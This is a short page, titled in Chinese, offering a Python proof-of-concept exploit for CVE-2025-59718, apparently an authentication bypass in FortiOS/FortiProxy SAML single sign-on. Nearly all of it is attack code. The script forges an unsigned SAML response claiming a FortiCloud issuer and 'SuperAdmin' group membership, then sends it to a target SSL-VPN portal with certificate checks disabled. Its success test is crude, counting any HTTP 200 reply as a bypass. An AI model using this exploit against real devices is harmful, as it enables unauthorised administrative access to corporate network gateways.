CVE-2025-59718 FortiOS/FortiProxy SAML签名验证不当导致认证绕过

import requests import base64 from lxml import etree # CVE-2025-59718 PoC - SAML Response Forgery # Target: FortiOS/FortiProxy SAML SSO Authentication Bypass TARGET_URL = "https://<target-ip>/sslvpn/portal/" ATTACKER_CONTROLLED_DOMAIN = "https://attacker.com/" def create_malicious_saml_response(): """ Generate malicious SAML response for authentication bypass This PoC demonstrates the signature verification bypass """ saml_response = f""" <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"> <saml:Issuer>https://forticloud.fortinet.com</saml:Issuer> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <saml:Assertion> <saml:Issuer>https://forticloud.fortinet.com</saml:Issuer> <saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress"> [email protected] </saml:NameID> </saml:Subject> <saml:Conditions NotBefore="2025-01-01T00:00:00Z" NotOnOrAfter="2025-12-31T23:59:59Z"/> <saml:AttributeStatement> <saml:Attribute Name="groups"> <saml:AttributeValue>SuperAdmin</saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement> </saml:Assertion> </samlp:Response> """ encoded_response = base64.b64encode(saml_response.encode()).decode() return encoded_response def exploit(target_url, saml_response): """ Send malicious SAML response to target """ exploit_url = f"{target_url}?SAMLResponse={requests.utils.quote(saml_response)}" print(f"[*] Sending malicious SAML response to: {target_url}") print(f"[*] Exploit URL: {exploit_url}") try: response = requests.get(exploit_url, verify=False, timeout=30) print(f"[+] Response Status: {response.status_code}") if "authenticated" in response.text.lower() or response.status_code == 200: print("[!] Authentication bypass successful!") return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": print("[*] CVE-2025-59718 - FortiOS/FortiProxy SAML Auth Bypass") malicious_response = create_malicious_saml_response() exploit(TARGET_URL, malicious_response)